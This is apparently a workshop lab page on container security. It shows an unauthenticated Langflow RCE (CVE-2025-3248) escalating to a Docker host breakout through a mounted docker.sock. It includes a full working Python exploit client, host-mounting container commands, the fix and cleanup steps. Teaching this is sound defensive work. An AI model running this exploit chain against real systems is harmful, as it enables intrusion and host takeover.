Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Lab: Docker socket breakout via CVE-2025-3248

DISCLAIMER: This lab runs a real unauthenticated RCE (CVE-2025-3248). Run it only inside the workshop Codespace, never against anything else.

Mounting /var/run/docker.sock into a container “particularly dangerous” because it hands out control of the Docker daemon, not just a file. This lab proves that with a real-world chain: an unauthenticated remote code execution bug in Langflow (CVE-2025-3248, fixed in 1.3.0) gets you a shell inside the container. From there, the mounted socket gets you the whole Docker host.

/var/run/docker.sock is a Unix domain socket (root) listens on — whoever can access it controls the entire Docker daemon, and effectively the host.

cve

Lab objective

  • Stand up a Langflow 1.2.0 container the way Vulhub does, with the Docker socket mounted in.
  • Trigger the unauthenticated RCE over HTTP only, no shell access assumed.
  • Use the RCE to talk to the Docker Engine API over the socket and enumerate containers.
  • Use the Docker API to create a container that mounts the host filesystem, and read a file only the host can see.
  • Remove the socket mount and confirm the RCE still works but the breakout does not.

Prerequisites

Hands on Lab

1. Start the vulnerable stack

  • Run pstree command to watch process tree.
pstree -a
  • Make a lab folder inside the open workspace, so it shows up in the Codespace’s file explorer instead of hiding in your home directory:
mkdir -p /workspaces/container-security-workshop-lab/peachycloudsecurity-langflow-lab
cd /workspaces/container-security-workshop-lab/peachycloudsecurity-langflow-lab

Create the file the exploit chain has to reach — it lives directly on the Codespace host, outside any container:

mkdir -p /tmp/host-secret && echo CONTAINER_BREAKOUT_SUCCESS > /tmp/host-secret/FLAG

Write the Compose file for the vulnerable stack, socket mounted in:

cat <<'EOF' > docker-compose.yml
services:
  langflow:
    image: vulhub/langflow:1.2.0
    ports:
      - "7860:7860"
    environment:
      - LANGFLOW_HOST=0.0.0.0
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=administrator
      - LANGFLOW_SUPERUSER_PASSWORD=vulhub
      - DO_NOT_TRACK=true
      - GIT_PYTHON_REFRESH=quiet
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
EOF

Bring it up. The image is a few hundred MB, so the first pull can take a minute or two:

docker compose up -d

2. Confirm the stack is up (operator check)

docker compose ps
curl -sS -o /dev/null -w '%{http_code}\n' http://localhost:7860/

Expect a langflow service running and an HTTP status code back from curl. This is you as operator confirming the target is reachable — the attacker in the next steps only ever talks to port 7860.

3. Build the exploit client

This is a small Python client for CVE-2025-3248. It POSTs to the vulnerable /api/v1/validate/code endpoint, and can either run a shell command or speak the Docker Engine API directly over the socket found inside the container — all through that one HTTP endpoint, no docker CLI and no shell on your side required.

cat <<'EOF' > exploit.py
#!/usr/bin/env python3
import os, sys, json, urllib.request

TARGET = os.environ.get("TARGET", "http://localhost:7860/api/v1/validate/code")
SOCK = "/var/run/docker.sock"


def _rce(remote_src):
    code = "def eqst_lab(x=exec(%r)):\n    pass" % remote_src
    body = json.dumps({"code": code}).encode()
    req = urllib.request.Request(TARGET, data=body, headers={"Content-Type": "application/json"})
    with urllib.request.urlopen(req, timeout=180) as r:
        data = json.load(r)
    errs = data.get("function", {}).get("errors") or [""]
    return errs[0]


def _decode(err):
    if err.startswith("b'") or err.startswith('b"'):
        return err[2:-1].encode().decode("unicode_escape").encode("latin-1", "replace").decode("utf-8", "replace")
    return err


def shell(cmd):
    return _decode(_rce("raise Exception(__import__('subprocess').check_output(%r, shell=True))" % cmd))


def _http_raw_src(method, path, json_body=None):
    body = json.dumps(json_body) if json_body is not None else ""
    return (
        "import socket\n"
        "s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n"
        "s.connect(%r)\n"
        "_body = %r\n"
        "_headers = ('Content-Type: application/json\\r\\nContent-Length: ' + str(len(_body)) + '\\r\\n') if _body else ''\n"
        "req = %r + ' ' + %r + ' HTTP/1.1\\r\\nHost: localhost\\r\\n' + _headers + 'Connection: close\\r\\n\\r\\n' + _body\n"
        "s.sendall(req.encode())\n"
        "data = b''\n"
        "while True:\n"
        "    chunk = s.recv(4096)\n"
        "    if not chunk: break\n"
        "    data += chunk\n"
        "s.close()\n"
        "raise Exception(data)\n"
    ) % (SOCK, body, method, path)


def _parse_http(raw_text):
    raw = raw_text.encode("latin-1", "replace")
    head, _, rawbody = raw.partition(b"\r\n\r\n")
    headers_text = head.decode("iso-8859-1", "replace")
    lines = headers_text.split("\r\n")
    status = lines[0] if lines else ""
    headers = {}
    for line in lines[1:]:
        if ":" in line:
            k, v = line.split(":", 1)
            headers[k.strip().lower()] = v.strip()
    if headers.get("transfer-encoding", "").lower() == "chunked":
        out, rest = b"", rawbody
        while True:
            size_line, _, rest = rest.partition(b"\r\n")
            try:
                size = int(size_line.strip(), 16)
            except ValueError:
                break
            if size == 0:
                break
            out += rest[:size]
            rest = rest[size:]
            if rest.startswith(b"\r\n"):
                rest = rest[2:]
        rawbody = out
    return status, headers, rawbody.decode("utf-8", "replace")


def docker_api(method, path, json_body=None):
    raw = _decode(_rce(_http_raw_src(method, path, json_body)))
    return _parse_http(raw)


def breakout():
    # Reuse the langflow image (already pulled by docker compose) instead of
    # a fresh one: /containers/create does not auto-pull like `docker run` does.
    status, _, body = docker_api(
        "POST", "/containers/create",
        {"Image": "vulhub/langflow:1.2.0", "Cmd": ["cat", "/host/tmp/host-secret/FLAG"], "Tty": True,
         "HostConfig": {"Binds": ["/:/host:ro"]}},
    )
    created = json.loads(body)
    if "Id" not in created:
        return "container create failed: %s" % created.get("message", body)
    cid = created["Id"]
    docker_api("POST", "/containers/%s/start" % cid)
    _, _, logs = docker_api("GET", "/containers/%s/logs?stdout=true&stderr=true" % cid)
    docker_api("DELETE", "/containers/%s?force=true" % cid)
    return logs.strip()


if __name__ == "__main__":
    import argparse
    p = argparse.ArgumentParser(description="CVE-2025-3248 Langflow RCE -> Docker socket breakout PoC")
    p.add_argument("--target", default=TARGET,
                    help="Langflow /api/v1/validate/code URL, or set env var TARGET (default: %(default)s)")
    sub = p.add_subparsers(dest="mode", required=True)
    sh = sub.add_parser("shell", help="run a shell command inside the container via the RCE")
    sh.add_argument("cmd")
    ap = sub.add_parser("api", help="call the Docker Engine API through the socket")
    ap.add_argument("method")
    ap.add_argument("path")
    ap.add_argument("json_body", nargs="?", help="optional JSON request body")
    sub.add_parser("breakout", help="create a host-mounted container and read the host FLAG file")
    args = p.parse_args()
    TARGET = args.target

    if args.mode == "shell":
        print(shell(args.cmd))
    elif args.mode == "api":
        jb = json.loads(args.json_body) if args.json_body else None
        status, headers, body = docker_api(args.method, args.path, jb)
        print(status)
        print(body)
    elif args.mode == "breakout":
        print(breakout())
EOF

_rce reproduces the documented CVE-2025-3248 trick: Langflow parses posted “code” and executes it to validate it, so a default argument like x=exec(...) runs the moment the function is defined, before anything is ever called. _decode recovers the command output from the exception message Langflow’s validation error puts back in the HTTP response — no docker CLI or curl needed inside the target container, since docker_api talks to /var/run/docker.sock with nothing but Python’s standard library.

4. Prove the unauthenticated RCE

Each call below is a fresh, unauthenticated HTTP POST to /api/v1/validate/code — no shell or credentials on your side, ever.

  • Run a command inside the container:
python3 exploit.py shell "id"
  • Confirm what OS is running inside and also print environment variables:
python3 exploit.py shell "cat /etc/os-release"
python3 exploit.py shell "env"
  • Check for the mounted socket — this should show it, owned by root:
python3 exploit.py shell "ls -l /var/run/docker.sock"

5. Exploit the docker.sock

  • Enumerate containers
python3 exploit.py api GET /containers/json
  • Enumerate images (= docker images):
python3 exploit.py api GET /images/json
  • Full breakout (create host-mounted container with read the host FLAG), one command

That’s already coded to POST /containers/create with Binds: [“/:/host:ro”], start it, read logs, delete it — prints CONTAINER_BREAKOUT_SUCCESS straight from the host file.

python3 exploit.py breakout

Code:

def breakout():
    status, _, body = docker_api(
        "POST", "/containers/create",
        {"Image": "vulhub/langflow:1.2.0",
         "Cmd": ["cat", "/host/tmp/host-secret/FLAG"],      # <- runs this as the container's main process
         "Tty": True,
         "HostConfig": {"Binds": ["/:/host:ro"]}},          # <- mounts the REAL host's / into this new container at /host
    )
    ...
    docker_api("POST", "/containers/%s/start" % cid)                          # boots it -> cat runs immediately
    _, _, logs = docker_api("GET", "/containers/%s/logs?..." % cid)           # daemon hands back whatever cat printed
    docker_api("DELETE", "/containers/%s?force=true" % cid)                   # cleanup
    return logs.strip()

The RCE only gives you what’s already installed in the image, and vulhub/langflow:1.2.0 doesn’t ship a docker CLI. Since you already have arbitrary code execution, just apt-install one - no different from installing anything else you needed inside the container:

Understand the docker.sock attack (explanation)

  • This is similar to installing docker and then
apt-get update -qq && apt-get install -y -qq docker.io
  • Run docker ps and docker image command
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock images

An ordinary docker ps, run through the RCE. It lists every container the host is running, including langflow itself — proof the socket handed over control of the whole daemon, not just this one container.

  • Breakout: read a file only the host can see

The same bind-mount pattern from Host mounts and privileged containers, except now the attacker is the one running it — docker run with the host’s / mounted in read-only, --rm so it cleans itself up:

docker -H unix:///var/run/docker.sock run --rm -v /:/host:ro vulhub/langflow:1.2.0 cat /host/tmp/host-secret/FLAG
  • That’s the file created back in step 1, on the Codespace host, read from inside a brand-new container the vulnerable app never had any relationship with — reached with nothing but an HTTP RCE and docker run.

To fix remove the docker.sock mount path from docker-compose.yaml /var/run/docker.sock:/var/run/docker.sock.

Clean up

cd /workspaces/container-security-workshop-lab/peachycloudsecurity-langflow-lab
docker compose down -v
cd /workspaces/container-security-workshop-lab && rm -rf peachycloudsecurity-langflow-lab /tmp/host-secret

Troubleshooting

  • Do a quick restart for this lab

Restarts dockerd and patches every bridge missing the legacy FORWARD rules

echo "Restarting dockerd..."
sudo pkill dockerd 2>/dev/null || true
sleep 3
sudo dockerd --containerd /run/containerd/containerd.sock --dns 168.63.129.16 > /tmp/dockerd.log 2>&1 &
sleep 5

echo "Fixing FORWARD rules for docker-compose bridges..."
for net in $(docker network ls --filter driver=bridge --format '{{.ID}}'); do
  br="br-${net:0:12}"
  ip link show "$br" &>/dev/null || continue
  if ! sudo iptables-legacy -C FORWARD -i "$br" -o "$br" -j ACCEPT 2>/dev/null; then
    echo "  patching $br"
    sudo iptables-legacy -I FORWARD -o "$br" -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
    sudo iptables-legacy -I FORWARD -i "$br" ! -o "$br" -j ACCEPT
    sudo iptables-legacy -I FORWARD -i "$br" -o "$br" -j ACCEPT
  fi
done

sudo pkill dockerd 2>/dev/null || true
sleep 3
sudo dockerd --containerd /run/containerd/containerd.sock --dns 168.63.129.16 > /tmp/dockerd.log 2>&1 &
sleep 5
docker ps

Summary

  • CVE-2025-3248 is a real, unauthenticated RCE, fixed in Langflow 1.3.0 — the vulnerable image used here (1.2.0) is intentional, for this lab only.
  • The RCE by itself gives a foothold inside one container. The mounted Docker socket is what turned that foothold into host-level access.
  • The Docker Engine API is reachable with nothing but a Unix socket connection — no docker CLI, no curl, no extra tooling needed inside the compromised container.
  • Removing -v /var/run/docker.sock:/var/run/docker.sock does not patch the application, but it does remove the escalation path — the same lesson as Lab: Host mounts and privileged containers, with a real CVE driving the foothold instead of a shell someone already had.

References